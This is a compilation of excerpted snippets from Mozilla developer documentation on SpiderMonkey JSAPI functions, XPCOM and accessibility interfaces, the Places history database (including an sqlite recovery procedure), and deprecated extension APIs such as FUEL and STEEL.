JS_DefineObject
in a js_threadsafe build, the caller must be in a request on this jscontext.
... js_defineobject does not call clasp->constructor.
... initialization of the new object is up to the caller.
...on error or exception (if the object cannot be created, the property already exists, or the property cannot be created), js_defineobject returns null.
JS_DeleteElement
in a js_threadsafe build, the caller must be in a request on this jscontext.
... for javascript 1.2 and earlier, if failure occurs because you attempt to delete a permanent or read-only element, js_deleteelement reports the error before returning false.
... to truncate an array, use js_setarraylength.
... to remove all elements and properties from an object, call js_clearscope.
JS_EncodeString
in a js_threadsafe build, the caller must be in a request on this jscontext..
... the array returned by js_encodestring on success is allocated as though by a call to js_malloc.
... the caller may modify it and is responsible for freeing it.
... note that for non-ascii strings, if js_cstringsareutf8 is false, these functions can return a corrupted copy of the contents of the string.
JS_EnterCompartment
enter a different compartment on the given context, so that objects in that compartment can be accessed.
... syntax jscompartment * js_entercompartment(jscontext *cx, jsobject *target); name type description cx jscontext * the context on which a cross-compartment call is needed.
...any access to an object in a different compartment must be bracketed by calling js_entercompartment and js_leavecompartment.
...js_entercompartment is infallible, so a null return value doesn't indicate failure.
JS_EnumerateDiagnosticMemoryRegions
syntax void js_enumeratediagnosticmemoryregions(jsenumeratediagnosticmemorycallback callback); name type description callback jsenumeratediagnosticmemorycallback pointer to the new callback function to use.
... callback syntax typedef bool (* jsenumeratediagnosticmemorycallback)(void *ptr, size_t length); name type description ptr void * pointer to the allocated memory.
... length size_t length of the allocated memory.
... see also mxr id search for js_enumeratediagnosticmemoryregions mxr id search for jsenumeratediagnosticmemorycallback bug 662646 ...
JS_GC
garbage collection frees memory so that it can be reused by the system.
... when your scripts create many objects, you may want to call js_gc directly in your code, particularly when a script terminates or when the application has idle time.
... to perform garbage collection only if needed, call js_maybegc instead.
... use js_setgccallback to add hooks that are called during garbage collection.
JS_GetCompartmentPrivate
syntax void js_setcompartmentprivate(jscompartment *compartment, void *data); void * js_getcompartmentprivate(jscompartment *compartment); name type description compartment jscompartment * any compartment data void * (in js_setcompartmentprivate) pointer to application-defined data to be associated with the compartment.
... description each jscompartment has a field of type void * which the application may use for any purpose.
... it is especially useful for storing data needed by callbacks.
... memory management for this private data is the application's responsibility.
JS_GetExternalStringClosure
this article covers features introduced in spidermonkey 6 returns the string closure stored in a jsstring created by calling js_newexternalstringwithclosure.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
...the result is null if the external string was created without one (that is, by calling js_newexternalstring rather than js_newexternalstringwithclosure).
... description to determine if a string was created as an external string, you can call js_isexternalstring.
JS_GetPropertyAttributes
in a js_threadsafe build, the caller must be in a request on this jscontext.
... namelen size_t (only in js_getucpropertyattributes) the length of name in characters; or (size_t) -1 to indicate that name is null-terminated.
...the return value is js_true (to indicate that no error occurred).
... if the property exists and belongs to obj, then *foundp is set to js_true, *attrsp is set to the logical or of zero or more property attributes flags, and the function returns js_true.
JS_GetScopeChain
js_getscopechain has been removed in spidermonkey 1.8.7 with no identical replacement.
... when you only used this function to retrieve the scope chain's global, then you can use the function js_getglobalforscopechain.
...these objects represent the lexical scope of the currently executing statement or expression, not the call stack, so they include: the variable objects of any enclosing functions or let statements or expressions, and any objects selected by enclosing with statements, in order from the most-nested scope outward; lastly the global object against which the function was created.
...if the context is currently executing a script, and not in any function, it's running in a scope that was passed to js_executescript or a similar function by the application.
JS_IsConstructing_PossiblyWithGivenThisObject
in a js_threadsafe build, the caller must be in a request on this jscontext.
... vp const jsval * maybethis jsobject ** description in the case of a constructor called from js_constructobject and js_initclass where the class has the jsclass_construct_prototype flag set, spidermonkey passes the constructor a non-standard this object.
... in such cases, the following example would provide the additional information of whether a special this was supplied.
... jsbool foo_native(jscontext *cx, unsigned int argc, jsval *vp) { jsobject *maybethis; if (js_isconstructing_possiblywithgiventhisobject(cx, vp, &maybethis)) { // native called as a constructor if (maybethis) // native called as a constructor with maybethis as 'this' } else { // native called as function, maybethis is still uninitialized } } note: a spidermonkey embedding does not need to use this query unless the embedding uses js_constructobject(), js_initclass() and jsclass_construct_prototype as described above.
JS_LookupElement
in a js_threadsafe build, the caller must be in a request on this jscontext.
... note: in the javascript language, numeric properties (also called "elements") are just ordinary properties whose names are numeric strings.
...so any call to js_lookupelement is equivalent to a call to js_lookupproperty passing a numeric string for the name.
...if no such property exists, js_lookupelement sets *vp to undefined and returns true (to indicate that no error occurred).
JS_MapGCRoots
syntax uint32 js_mapgcroots(jsruntime *rt, jsgcrootmapfun map, void *data); callback syntax #define js_map_gcroot_next 0 /* continue mapping entries */ #define js_map_gcroot_stop 1 /* stop mapping entries */ #define js_map_gcroot_remove 2 /* remove and free the current entry */ typedef int (*jsgcrootmapfun)(void *rp, const char *name, void *data); description call js_mapgcroots to map the gc's roots table using map(rp, name, data).
... the map function should return js_map_gcroot_remove to cause the currently enumerated root to be removed.
...these constants are flags; you can or them together.
...the map function cannot call js_gc, js_maybegc, js_beginrequest, or any js api entry point that acquires locks, without double-tripping or deadlocking on the gc lock.
JS_NewDoubleValue
in a js_threadsafe build, the caller must be in a request on this jscontext.
...if it is, js_newdoublevalue creates a bad jsval that might behave as desired in some cases but not others.
... the result is subject to garbage collection until you protect against it using a local root, an object property, or the js_addroot function.
... this can be avoided by using the address of a rooted variable as rval.
JS_NewObjectForConstructor
syntax jsobject * js_newobjectforconstructor(jscontext *cx, const jsclass *clasp, const js::callargs& args); // added in jsapi 32 jsobject * js_newobjectforconstructor(jscontext *cx, jsclass *clasp, const jsval *vp); // added in jsapi 14, obsolete since jsapi 32 jsobject * js_newobjectforconstructor(jscontext *cx, const jsval *vp); // obsolete since jsapi 14 name type description cx jscontext * the context in which to create the new object.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
... args js::callargs &amp; call argument to get a constructor as callee.
...with js_newobjectforconstructor, the prototype and parent are determined by the constructor, and class is still determined by the caller.
JS_NewScriptObject
in a js_threadsafe build, the caller must be in a request on this jscontext.
...once you have created a script, you should immediately ensure that its script object is reachable (perhaps by using js_addroot or js_enterlocalrootscope).
...so a script object can be used to expose a jsscript to javascript code, but the code can't do much of anything with it.
... (the name "js_newscriptobject" suggests that the script object is freshly allocated; this was the case in older versions of the api, but now the script object is allocated along with the jsscript itself.) (some temporary scripts used internally by spidermonkey do not have script objects allocated for them; such scripts are not accessible via jsapi.) see also the jsapi user guide contains example code using compiled scripts.
JS_NewUCString
in a js_threadsafe build, the caller must be in a request on this jscontext.
... buf char * or char16_t * pointer to a character array, allocated with js_malloc, containing the characters for the js string to create.
...the character array, buf, must be allocated on the heap using js_malloc.
...the application must not read, write, or free the buffer.
JS_NewStringCopyN
in a js_threadsafe build, the caller must be in a request on this jscontext.
... description js_newstringcopyn allocates space for a javascript string and its underlying storage, and copies n characters from a c character array, s, into the new jsstring.
...if the array s contains more than n characters, the new string contains a truncated version of the original string.
...you can use js_newstringcopyn to copy binary data or to copy only a certain portion of a c string into a javascript string.
JS_ValueToECMAInt32
in a js_threadsafe build, the caller must be in a request on this jscontext.
... description js_valuetoecmaint32, js_valuetoecmauint32, and js_valuetouint16 convert a javascript value to various integer types as specified in the ecmascript specification.
... all three functions first convert v to a floating-point number as if by calling js_valuetonumber; nan values are then converted to zero.
...this second conversion cannot fail.
JS_ValueToFunction
in a js_threadsafe build, the caller must be in a request on this jscontext.
... this conversion is dangerous and almost entirely useless, because the resulting jsfunction is not a real function object and therefore cannot be safely passed to any other jsapi function.
... that includes js_callfunction() and js_getfunctionobject().
... the object's jsobjectops.defaultvalue method is called with hint=jstype_function.) js_valuetofunction returns a pointer to the converted function.
JS_ValueToInt32
in a js_threadsafe build, the caller must be in a request on this jscontext.
...first it converts v to a floating-point number as if by calling js::tonumber.
...this routine was added for layers-based graphics programming in netscape 4, but unless you know you need its rounding behavior, it is best to avoid it in favour of js::toint32.
... js::toint32 rounds as specified in ecma 262-3 §9.5, while this routine rounds by adding 0.5 to the converted float-point number and truncating the result at the decimal point.
JSDBGAPI
letrap js_setinterrupt js_clearinterrupt watchpoints js_setwatchpoint js_clearwatchpoint js_clearwatchpointsforobject js_clearallwatchpoints inspecting the stack js_pctolinenumber js_linenumbertopc js_getfunctionscript js_getfunctionnative js_getfunctionfastnative js_getscriptprincipals typedef jsstackframe js_frameiterator js_getframescript js_getframepc js_getscriptedcaller js_stackframeprincipals js_evalframeprincipals js_getframeannotation js_setframeannotation js_getframeprincipalarray js_isnativeframe js_getframeobject js_getframescopechain js_getframecallobject js_getframethis js_getframefunction js_getframefunctionobject js_isconstructorframe js_isdebuggerframe js_getframereturnvalue js_setframereturnvalue js_getframecalleeobject js_...
... js_gettopscriptfilenameflags js_getscriptfilenameflags js_flagscriptfilenameprefix jsfilename_null jsfilename_system jsfilename_protected evaluating debug code js_evaluateinstackframe examining object properties typedef jspropertydesc jspd_enumerate jspd_readonly jspd_permanent jspd_alias jspd_argument jspd_variable jspd_exception jspd_error typedef jspropertydescarray js_propertyiterator js_getpropertydesc js_getpropertydescarray js_putpropertydescarray hooks js_setdebuggerhandler js_setsourcehandler js_setexecutehook js_setcallhook js_setobjecthook js_setthrowhook js_setdebugerrorhook js_setnewscripthook js_setdestroyscripthook js_getglobaldebughooks js_setcontextdebughooks memory usage js_getobjecttotalsize js_getfunctionto...
...talsize js_getscripttotalsize system objects js_issystemobject js_newsystemobject profiling these functions can be used to profile a spidermonkey application using the mac profiler, shark.
... js_connectshark js_disconnectshark js_startchudremote js_stopchudremote the following jsnative functions can be used to expose the above four apis to scripts.
TPS Tab Lists
for example: var tabs1 = [ { uri: "http://hg.mozilla.org/automation/crossweave/raw-file/2d9aca9585b6/pages/page1.html", title: "crossweave test page 1", profile: "profile1" }, { uri: "data:text/html,<html><head><title>hello</title></head><body>hello</body></html>", title: "hello", profile: "profile1" } ]; tab lists and phase actions tabs cannot be modified or deleted, only added or verified with the following functions: tabs.add - opens the specified tabs in the browser window.
... tabs.verify - verifies that the specified tabs can be found in the specified profile.
... tabs.verifynot - verifies that the specified tabs cannot be found in the specified profile.
... there are a handful of static pages at http://hg.mozilla.org/services/tps/file/tip/pages which can be used for tab testing, and data: url's can be used as well.
Security and the jar protocol
note: support for the jar: protocol was disabled by default for use from web content beginning in firefox 45, but re-enabled again because it broke the experience of ibm inotes users.
... prior to this change, specifying the jar: protocol caused firefox to assume that the file being retrieved is a jar file, regardless of its mime type (in other words, its mime type was assumed to be application/zip, regardless of what it actually was).
...however, if a site allows file uploads, zip files are typically treated as relatively innocuous by web sites in that situation, since they're not executable.
... so starting with gecko 1.8.0.15 and 1.8.1.10, the jar: protocol is only allowed if the mime type of the file is application/java-archive.
AT Development
the accessibility of computer software has seen drastic improvements over the past two decades.
... guidelines at apis implementation by gecko at vendors guide to support gecko-based applications like firefox, thunderbird and so on.
... references at apis implementation references shows how gecko handles atk, iaccessible2, msaa and universal access api accessible web specifications references provides the map of reflecting web specification to at apis.
... this page includes: aria references - w3c specification reflecting aria mapping into at apis.
Frecency algorithm
places with this value can show up in autocomplete results.
... the frecency calculation process for the 10 most recent visits (where 10 is determined by places.frecency.numvisits): ..
...points for each sampled visit = (bonus / 100.0) * weight final frecency score for visited uri = ceiling(total visit count * sum of points for sampled visits / number of sampled visits) example this is an example of a frecency calculation for a uri that is bookmarked and has been visited twice recently (once yesterday, and once last week by clicking a link), and two other times more than 90 days ago: 0 default score +140 100 * (140/100.0) - first bucket weight and bookmarked bonus +84 70 * (120/100.0) - second bucket weight and followed-link bonus +14 10 * (140/100.0) - fif...
... developer notes there are various development notes you can read about places that may offer additional insights: initial algorithm ideas implementation notes history the initial algorithm design was by mike connor and seth spitzer.
Places Expiration
algorithm expiration is based on hardware specs, specifically on memory size and available disk space.
...in some cases, like when a clear history is executed just before shutdown, a larger step is executed instead.
... preferences usually there is no need to tweak or set any preference, since adaptive behavior should satisfy each need, though in case of unexpected issues it's possible to act on some hidden preferences: places.history.expiration.interval_seconds: minimum number of seconds between expiration steps.
...default value is calculated on startup and put into the places.history.expiration.transient_current_max_pages preference.
Using the Places keywords API
a keyword can only be associated to a given url, it's not possible to associate the same keyword with multiple urls (doing so will just update the url it's pointing to).
... each keyword can be associated with post data, in such a case a post action will be executed when the given url is selected from the awesomebar.
... different keywords can reference the same url, if their post data differ.
...note that fetch() always resolves to a single entry, to fetch all of the entries it's necessary to provide a callback function.
places.sqlite Database Troubleshooting
in some cases, this procedure may allow you to recover the corrupt file along with all of its contents (history).
... before you proceed, make a backup of the firefox profile folder, in any case.
... sqlite> .exit open a new shell for the new database: my_work_folder> sqlite3 places.sqlite sqlite> pragma integrity_check; if the result is not ok, the file cannot be recovered; stop here and please file a bug.
... nn must be replaced with the number we had noted previously: sqlite> pragma user_version = nn; let's update the page_size value: sqlite> pragma journal_mode = truncate; sqlite> pragma page_size = 32768; sqlite> vacuum; sqlite> pragma journal_mode = wal; sqlite> .exit copy the new places.sqlite to the profile folder, overwriting the existing one.
FUEL
fuel is deprecated as of firefox 40 and removed as of firefox 47.
... fuel has a fueliapplication interface that implements all the functions of extiapplication.
... objects extiapplication objects extiapplication exticonsole extieventitem extieventlistener extievents extiextension extiextensions extipreference extipreferencebranch extisessionstorage fueliapplication objects fueliannotations fueliapplication fuelibookmark fuelibookmarkfolder fuelibookmarkroots fuelibrowsertab fueliwindow xpcom although the fuel application object is preloaded into xul scripts, it is not preloaded into javascript xpcom code.
... the object needs to be accessed like any other xpcom service: var application = components.classes["@mozilla.org/fuel/application;1"].getservice(components.interfaces.fueliapplication); ...
STEEL
steel is deprecated and will be removed as of thunderbird 52.
... currently, steel has an steeliapplication interface that implements all the functions of extiapplication.
... objects extiapplication objects extiapplication exticonsole extieventitem extieventlistener extievents extiextension extiextensions extipreference extipreferencebranch extisessionstorage steeliapplication objects steeliapplication xpcom although the steel steeliapplication object is preloaded into xul scripts, it is not preloaded into javascript xpcom code.
... the object needs to be accessed like any other xpcom service: var application = components.classes["@mozilla.org/steel/application;1"].getservice(components.interfaces.steeliapplication); other resources steel development plan.
extIExtension
extiextension is defined in toolkit/components/exthelper/extiapplication.idl.
... implemented via xpcom service for extiapplication: see the instructions on the fuel (firefox), steel (thunderbird) and smile (seamonkey) pages.
... firstrun readonly attribute boolean indicates whether this is the extension's first run after install prefs readonly attribute extipreferencebranch the preferences object for the extension.
...supports: "uninstall" methods fixme: see also see extapplication.js line:395 for the implementation of firstrun.
extISessionStorage
this content covers features introduced in thunderbird 3 extisessionstorage allows an extension to store data for the life time of the application (e.g.
...extisessionstorage is defined in toolkit/components/exthelper/extiapplication.idl.
... implemented via xpcom service for extiapplication: see the instructions on the fuel (firefox), steel (thunderbird) and smile (seamonkey) pages.
... method overview these methods are usually accessed via application.storage.
XPCOM Glue without mozalloc
starting with xulrunner 2.0, the frozen linkage dependent glue (xpcomglue_s.lib on windows, libxpcomglue_s.a on linux and mac) is dependent on the new infallible memory allocation routines (mozalloc).
... since these routines didn't exist prior to xulrunner 2.0, xpcom components that link against the frozen linkage dependent glue will not be compatible with xulrunner applications prior to 2.0.
... this library is new in xulrunner 2.0, and it's identical to xpcomglue_s, except that it's compiled without mozalloc.
... resulting xpcom components will no longer have a dependency on mozalloc, and will thus be compatible with xulrunner applications prior to 2.0 as well.
Inheriting from implementation classes
that's not inherently multiple inheritance, though, because you only mix in interfaces (i.e.
...so, in code: idl: interface ia { void funca(); } interface ib : ia { void funcb(); } interface ic : ib { void funcc(); } c++ implementation: class a : public ia { ???
... ns_decl_isupports ns_decl_ia } a.cpp, as usual: ns_impl_isupports1(a, ia) ns_imethodimp a::funca() { ...
...} threadsafe if you want to make this threadsafe, you can replace ns_impl_isupports1(a, ia) with ns_impl_threadsafe_isupports1(a, ia) in the base implementation class only (e.g.
Components.utils.createObjectIn
note that this function is now mostly obsolete when you are using sandbox, because you can create an object in a different compartment using new.
... syntax var newobject = components.utils.createobjectin(obj, options); parameters obj an object indicating the compartment in which the new object should be created; the new object will be created in the scope of this object's compartment.
... example to create a new object in the scope of a specified dom window, you can simply do: function genpropdesc(value) { return { enumerable: true, configurable: true, writable: true, value: value }; } var myobject = components.utils.createobjectin(mywindow); var proplist = { name: genpropdesc("name"), date: genpropdesc("date"), id: genpropdesc("id"), func: genpropdesc(function() { alert("called func!"); }) }; object.defineproperties(myobject, proplist); components.utils.makeobjectpropsnormal(myobject); this sets up the new object in the scope of the object mywindow, then adds properties by cal...
...ling object.defineproperties(), then normalizes them by calling components.utils.makeobjectpropsnormal().
Components object
constructor constructor for constructor of components exception constructor for xpconnect exceptions id constructor for xpcom nsids interfaces array of interfaces by interface name interfacesbyid array of interfaces by iid issuccesscode function to determine if a given result code is a success code lastresult result code of most recent xpconnect call manager the global xpcom component manager results array of known result codes by name returncode pending result for current call stack current javascript call stack utils provides access to several useful features utils.atline provides access to the value of the atline property in the javascript environment.
...may only be called from javascript code.
...may only be called from javascript code.
... utils.scheduleprecisegc requests that garbage collection occur sometime in the future when no javascript code is running; accepts a callback function to receive notification once collection is complete.
JavaXPCOM
javaxpcom allows for communication between java and xpcom, such that a java application can access xpcom objects, and xpcom can access any java class that implements an xpcom interface.
...with javaxpcom, a developer can talk to xpcom or embed gecko from a java application.
... sample code there are several java test applications checked in to the tree that give examples on how to embed gecko or init xpcom from within java.
... embedding mozilla in a java application using javaxpcom xulrunner ships with the javaxpcom component, which allows java code to interact with xpcom objects.
Monitoring HTTP activity
gecko includes the nsihttpactivityobserver interface, which you can implement in your code to monitor http transactions in real time, receiving a callback as the transactions take place.
...this is very simple, requiring you to implement a single method, nsihttpactivityobserver.observeactivity(), which gets called each time an action of interest takes place on the http channel.
... // define a reference to the interfacevar nsihttpactivityobserver = components.interfaces.nsihttpactivityobserver; var httpobserver = { observeactivity: function(ahttpchannel, aactivitytype, aactivitysubtype, atimestamp, aextrasizedata, aextrastringdata) { if (aactivitytype == nsihttpactivityobserver.activity_type_http_transaction) { switch(aactivitysubtype) { case nsihttpactivityobserver.activity_subtype_response_header: // received response header break; case nsihttpactivityobserver.activity_subtype_response_complete: // received complete http response break; } } } }; then you need to install your activity observer.
...observable socket activities when the activity type reported to your nsihttpactivityobserver.observeactivity() method is activity_type_socket_transport, the activity subtype, which indicates the specific type of activity that occurred, will be a socket transport status code.
NS_Alloc
« xpcom api reference summary infallibly allocates a block of memory using the xpcom memory manager.
... #include "nsxpcom.h" void* ns_alloc( prsize asize ); parameters asize [in] the size in bytes of the block to allocate.
... return values this function returns a pointer to the allocated block of memory, which is suitably aligned for any kind of variable, or null if the allocation failed.
...it is equivalent to calling alloc on the nsimemory instance returned from ns_getmemorymanager.
NS_ShutdownXPCOM
« xpcom api reference summary the ns_shutdownxpcom function terminates use of xpcom in the calling process.
... remarks you must call this method once you are finished using xpcom.
... calling this method triggers the "xpcom-shutdown" notification to be dispatched to observers.
... once this function has been called, the nsicomponentmanager and nsiservicemanager will refuse to return object instances.
nsCStringEncoding
ns_cstring_encoding_ascii conversion between ascii and utf-16 assumes that all bytes in the source string are 7-bit ascii and can be inflated to utf-16 by inserting null bytes.
... reverse conversion is done by truncating every other byte.
...no attempt is made to protect against data loss in this case.
... the native filesystem charset applies to strings passed to the "native" method variants on nsifile and nsilocalfile.
Clone
asize [in] specifies the new size in bytes of the block of memory to allocate.
... return values this function returns nsnull if the memory allocation fails.
... otherwise, it returns a pointer to the newly allocated buffer.
... the result must be freed with a call to nsmemory::free when it is no longer needed.
nsMemory
}; methods alloc the alloc function allocates a block of memory of a particular size.
... realloc the realloc function reallocates a block of memory to a new size.
... free the free function frees a block of memory that was allocated by xpcom's memory manager.
... remarks to use the methods in this class, you must link your component or application against the xpcom glue library.
IAccessibleHypertext
1.0 66 introduced gecko 1.9 inherits from: iaccessibletext last changed in gecko 1.9 (firefox 3) the iaccessiblehypertext interface is the main interface to expose hyperlinks in a document, typically a text document, that are used to reference other documents.
... a typical implementation is to implement this interface on the smallest text object such as a paragraph of text.
...the returned iaccessiblehyperlink object encapsulates the hyperlink and provides several kinds of information describing it.
...this is the case when a link spans the given character index.
IAccessibleImage
some examples are: the accessible name and description() are not enough to fully describe the image, for example when the accessible description() is used to define the behavior of an actionable image and the image itself conveys semantically significant information.
... the user can edit the content that includes an image and therefore the user needs to be able to review the image's position.
... method overview [propget] hresult description([out] bstr description ); [propget] hresult imageposition([in] enum ia2coordinatetype coordinatetype, [out] long x, [out] long y ); [propget] hresult imagesize([out] long height, [out] long width ); methods description() returns the localized description of the image.
... [propget] hresult description( [out] bstr description ); parameters description the localized description of the image.
IAccessibleRelation
1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) method overview [propget] hresult localizedrelationtype([out] bstr localizedrelationtype ); [propget] hresult ntargets([out] long ntargets ); [propget] hresult relationtype([out] bstr relationtype ); [propget] hresult target([in] long targetindex, [out] iunknown target ); [propget] hresult targets([in] long maxtargets, [out, size_is(maxtargets), length_is( ntargets)] iunknown targets, [out] long ntargets ); methods localizedrelationtype() returns a localized version of the relation type.
... [propget] hresult localizedrelationtype( [out] bstr localizedrelationtype ); parameters localizedrelationtype return value s_ok.
...[propget] hresult targets( [in] long maxtargets, [out, size_is(maxtargets), length_is( ntargets)] iunknown targets, [out] long ntargets ); parameters maxtargets maximum size of the array allocated by the client.
...note that this array is to be allocated by the client and freed when no longer needed.
IAccessibleTableCell
the array is allocated by the server.
...isselected() returns a boolean value indicating whether this cell is selected.
...isselected indicates if the specified cell is selected.
...the array is allocated by the server.
inIDOMUtils
getcsspropertynames() get a list of all our supported property names void getcsspropertynames( in unsigned long aflags, optional out unsigned long acount, optional [retval, array, size_is(acount)] out wstring aprops ); parameters aflags optional shorthands can be excluded or property aliases included.
... return value the line number of the style rule; the url of the rule can be obtained from its parent style sheet object.
... return value the column number of the style rule; the url of the rule can be obtained from its parent style sheet object.
... return value true if the node only contains insignificant whitespace.
mozIStorageError
full 13 an insertion failed because the database is full.
... cantopen 14 unable to open the database file.
... abort 4 a callback routine requested an abort.
... nomem 7 a memory allocation failed.
mozIStorageStatementWrapper
when you call the mozistorageconnection interface's createstatement() method, you get a mozistoragestatement which has just direct bindings to sqlite.
... you can then wrap that statement with a wrapper, which implements nsixpcscriptable and provides scriptable helpers letting you execute the statement as a function, access bind variables by name as properties, etc.
... firefox 3.5 note firefox 3.5 adds support for these features directly into the mozistoragestatement interface, so this interface is essentially deprecated.
... params mozistoragestatementparams the parameters; these can be set in lieu of using the call notation on this.
nsIArray
for an array which can be modified, see nsimutablearray.
... neither interface makes any attempt to protect the individual elements from modification.
...it is also convention that if an interface provides access to an nsiarray, that the array should not be queryinterfaced to an nsimutablearray for modification.
...note that since null is a valid input, exceptions are used to indicate that an element is not found.
nsIAutoCompleteListener
xpfe/components/autocomplete/public/nsiautocompletelistener.idlscriptable this interface is deprecated.
... methods onautocomplete() called by the autocomplete session when the search is done or over.
... as of gecko 1.9.1, can also be called with partial results, in a similar manner to the toolkit autocomplete interface.
... onstatus() called by the autocomplete session during the search.
nsIAutoCompleteSearch
inherits from: nsisupports last changed in gecko 1.7 users call startsearch() and pass in an nsiautocompleteobserver when the search starts.
... results can be sent to the listener either synchronously or asynchronously, depending on the implementation.
...can be empty if not needed.
...can be null.
nsIBadCertListener2
it can also be used to obtain the ssl handshake status of a connection that will be canceled because of improper certificate status.
...method overview boolean notifycertproblem(in nsiinterfacerequestor socketinfo, in nsisslstatus status, in autf8string targetsite); methods notifycertproblem() called in case of a broken ssl status.
... boolean notifycertproblem( in nsiinterfacerequestor socketinfo, in nsisslstatus status, in autf8string targetsite ); parameters socketinfo a network communication context that can be used to obtain more information about the active connection.
... return value the consumer shall return true if it wants to suppress the error message related to the bad cert (the connection will still get canceled).
nsIBinaryOutputStream
this might be used, for example, to implement network protocols or to produce architecture-neutral binary disk files, that is ones that can be read and written by both big-endian and little-endian platforms.
... writestringz() writes an 8-bit pascal style string to the stream.
... writeutf8z() writes an 8-bit pascal style string (utf8-encoded) to the stream.
... writewstringz() writes a 16-bit pascal style string to the stream.
nsICharsetResolver
requestcharset() called to resolve the charset that should be used for parsing the document being loaded from achannel.
... if the charset cannot be resolved, but the implementation of nsicharsetresolver wants to be notified of the final resolved charset when one is available, it can set awantcharset to true.
... if this is done, the caller of requestcharset is responsible for calling notifyresolvedcharset() and passing it the final resolved charset and the closure that requestcharset set.
...awantcharset gets set to true if notifyresolvedcharset() should be called with the given aclosure object.
nsIClipboard
length)] in string aflavorlist, in unsigned long alength, in long awhichclipboard); void setdata(in nsitransferable atransferable, in nsiclipboardowner anowner, in long awhichclipboard); boolean supportsselectionclipboard(); boolean supportsfindclipboard(); constants most clipboard operations in firefox use kglobalclipboard, which is the one also used by the typical control-c/control-v keyboard shortcuts.
...it empties the "logical" clipboard.
... forcedatatoclipboard() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) some platforms support deferred notification for putting data on the clipboard this method forces the data onto the clipboard in its various formats this may be used if the application going away.
...it does not actually retrieve the data and should be a very inexpensive call.
nsICommandLineHandler
toolkit/components/commandlines/public/nsicommandlinehandler.idlscriptable handles arguments on the command line of a xul application.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) each command line handler is registered in the category "command-line-handler".
... the entries in this category are read in alphabetical order, and each category value is treated as a service contract id implementing this interface.
...example: category entry value command-line-handler b-jsdebug @mozilla.org/venkman/clh;1 command-line-handler c-extensions @mozilla.org/extension-manager/clh;1 command-line-handler m-edit @mozilla.org/composer/clh;1 command-line-handler m-irc @mozilla.org/chatzilla/clh;1 command-line-handler y-final @mozilla.org/browser/clh-final;1 method overview void handle(in nsicommandline acommandline); attributes attribute type description helpinfo autf8string when the application is...
nsIContentViewManager
content/base/public/nsiframeloader.idlscriptable manages the content views contained in a browser 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to obtain a reference to the view manager for a document, you can queryinterface() the nsiframeloader object to nsicontentviewmanager.
...once you have the view manager, you can call getcontentviewsin() to get a list of the content views for a given portion of the browser display, then use those nsicontentview objects to manipulate the content views.
... note: the rectangle is specified using an anchor point, then four distances to indicate how far in each direction to expand the rectangle.
... alength optional if specified, on return this parameter indicates the number of nsicontentview objects returned in the aresult array.
nsIDOMMozTouchEvent
this differs from tracking mouse events in that touch events can be generated independently for each finger touching the screen.
... last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits from: nsidommouseevent method overview void initmoztouchevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstractview viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, ...
... in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidomeventtarget relatedtargetarg, in unsigned long streamidarg); attributes attribute type description streamid unsigned long a unique identifier for each finger, so that each finger's movement can be tracked separately.
...void initsimplegestureevent( in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstractview viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidomeventtarget relatedtargetarg, in unsigned long streamidarg ); parameters streamidarg the value to assign to the streamid attribute; this uniquely identifies the finger genera...
nsIDOMXPathEvaluator
xpression createexpression(in domstring expression, in nsidomxpathnsresolver resolver) nsidomxpathnsresolver creatensresolver(in nsidomnode noderesolver); nsisupports evaluate(in domstring expression, in nsidomnode contextnode, in nsidomxpathnsresolver resolver, in unsigned short type, in nsisupports result) methods createexpression() creates an nsidomxpathexpression which can then be used for (repeated) evaluations.
... note: prior to gecko 1.9, you could call this method on documents other than the one you planned to run the xpath against; starting with gecko 1.9, however, you must call it on the same document.
...it is used to resolve prefixes within the xpath itself, so that they can be matched with the document.
...see also introduction to using xpath in javascript document.evaluate dom level 3 xpath specification xml path language (xpath)rec nsidomxpathresult nsidomxpathexception ...
nsIDialogParamBlock
print32 getint( in print32 inindex ); wstring getstring( in print32 inindex ); void setint( in print32 inindex, in print32 inint ); void setnumberstrings( in print32 innumstrings ); void setstring( in print32 inindex, in wstring instring); attributes attribute type description objects nsimutablearray a place where you can store an nsimutablearray to pass nsisupports.
...must be in the range 0..15 unless setnumberstrings was called.
...this method can only be called once.
...must be in the range 0..15 unless setnumberstrings was called.
nsIDirIndexParser
netwerk/streamconv/public/nsidirindexlistener.idlscriptable a parser for 'application/http-index-format' directories.
... inherits from: nsistreamlistener last changed in gecko 1.7 called for each directory entry.
...this result is only valid after onstoprequest has occurred, because it can occur anywhere in the datastream.
... listener nsidirindexlistener the interface to use as a callback for new entries.
getFiles
« xpcom api reference summary this method is called by the directory service to query an enumeration of file or directory locations.
... nsisimpleenumerator getfiles( in string aname ); parameters aname [in] the symbolic name for an enumeration of file or directory locations.
... return values the elements of the returned nsisimpleenumerator instance must support nsifile and may support nsilocalfile.
... see also nsifile, nsilocalfile, nsisimpleenumerator ...
nsIFactory
unlike getservice, this returns a new instance each time it is called.
...this can be nsnull if no aggregation is requested.
... exceptions thrown ns_error_no_interface indicates that the requested interface is not supported.
... ns_error_no_aggregation indicates that aggregation is not supported.
nsIFeedContainer
categories nsiarray an array of the categories found in a feed or entry.
... note: the returned array will contain nsifeedcategory objects, except that interface has not been implemented yet.
...consumers can avoid normalization by checking the feed type and accessing specific fields.
...keep in mind that some feeds have no title, and some use markup in their titles, so be cautious when decoding this attribute.
nsIFeedProcessor
toolkit/components/feeds/public/nsifeedprocessor.idlscriptable this interface parses rss or atom feeds, triggering callbacks based on their contents during and after the processing.
...the caller must then call the processor's nsistreamlistener methods to drive the parsing process.
